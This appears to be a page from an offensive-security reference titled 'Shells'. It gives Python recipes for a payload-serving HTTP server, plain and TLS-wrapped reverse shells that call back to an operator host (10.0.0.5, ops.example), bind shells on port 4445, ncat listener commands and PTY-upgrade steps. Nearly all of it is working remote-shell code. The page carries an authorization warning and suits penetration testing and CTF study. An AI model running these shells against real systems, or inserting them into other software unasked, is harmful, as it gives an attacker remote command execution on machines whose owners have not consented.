Shells#

Short Python recipes for the three command-and-control forms the operator reaches for first: a quick HTTP server for payload / artifact handoff, a reverse shell, and a bind shell.

Warning

Authorization required. These recipes are operator tradecraft. Run them only against systems the operator owns or has written authorization to test (an engagement, a CTF, a home lab). See Disclaimers for the full text.

HTTP server#

The standard-library one-liner. Serves the current directory on port 8000.

$ python -m http.server 8000

Bind to a specific interface (here, loopback only) instead of all interfaces.

$ python -m http.server 8000 --bind 127.0.0.1

Serve a different root directory.

$ python -m http.server 8000 --directory /tmp/payloads

For TLS, wrap a HTTPServer with ssl.SSLContext. A self-signed cert generated by openssl is the usual stand-in.

import http.server, ssl

server = http.server.HTTPServer(("0.0.0.0", 4443),
                                http.server.SimpleHTTPRequestHandler)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
ctx.load_cert_chain("cert.pem", "key.pem")
server.socket = ctx.wrap_socket(server.socket, server_side=True)
server.serve_forever()

Drop the server with Ctrl-C; nothing persists.

Reverse shell (callback)#

The target connects out to the operator’s listener. Useful when inbound connections to the target are filtered but outbound is not. The standard pairing on the listener side is socat or ncat.

Operator side, on the C2 host or jumpbox:

$ ncat -lvnp 4444

Target side, plain socket, dup the FDs, exec a shell.

import socket, subprocess, os

s = socket.socket()
s.connect(("10.0.0.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.run(["/bin/sh", "-i"])

A TLS-wrapped variant when the path between target and operator is on a watched network. The listener side uses ncat --ssl -lvnp 4443.

import socket, ssl, subprocess, os

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
sock = ctx.wrap_socket(socket.socket(), server_hostname="ops.example")
sock.connect(("ops.example", 4443))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)
subprocess.run(["/bin/sh", "-i"])

After the callback lands, upgrade to a PTY for usable job-control and line editing.

$ python -c 'import pty; pty.spawn("/bin/bash")'

Once inside the spawned PTY, Ctrl-Z to background, then on the listener host:

$ stty raw -echo; fg
# then in the now-foregrounded shell:
$ export TERM=xterm
$ stty rows 50 cols 200

Bind shell (listener)#

The target opens a listening socket; the operator connects in. Useful when the target has an inbound path the operator controls (private network, port-forward, lab). Loud on a defended network; reverse shells are the safer default.

Target side, accept one connection and exec a shell over it.

import socket, subprocess, os

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 4445))
srv.listen(1)
conn, _ = srv.accept()
os.dup2(conn.fileno(), 0)
os.dup2(conn.fileno(), 1)
os.dup2(conn.fileno(), 2)
subprocess.run(["/bin/sh", "-i"])

Operator side, drive it with ncat.

$ ncat 10.0.0.42 4445

A long-running version that accepts repeated connections and isolates each shell in a child process.

import socket, subprocess, os

srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 4445))
srv.listen(5)

while True:
    conn, _ = srv.accept()
    if os.fork() == 0:
        srv.close()
        os.dup2(conn.fileno(), 0)
        os.dup2(conn.fileno(), 1)
        os.dup2(conn.fileno(), 2)
        subprocess.run(["/bin/sh", "-i"])
        os._exit(0)
    conn.close()

References#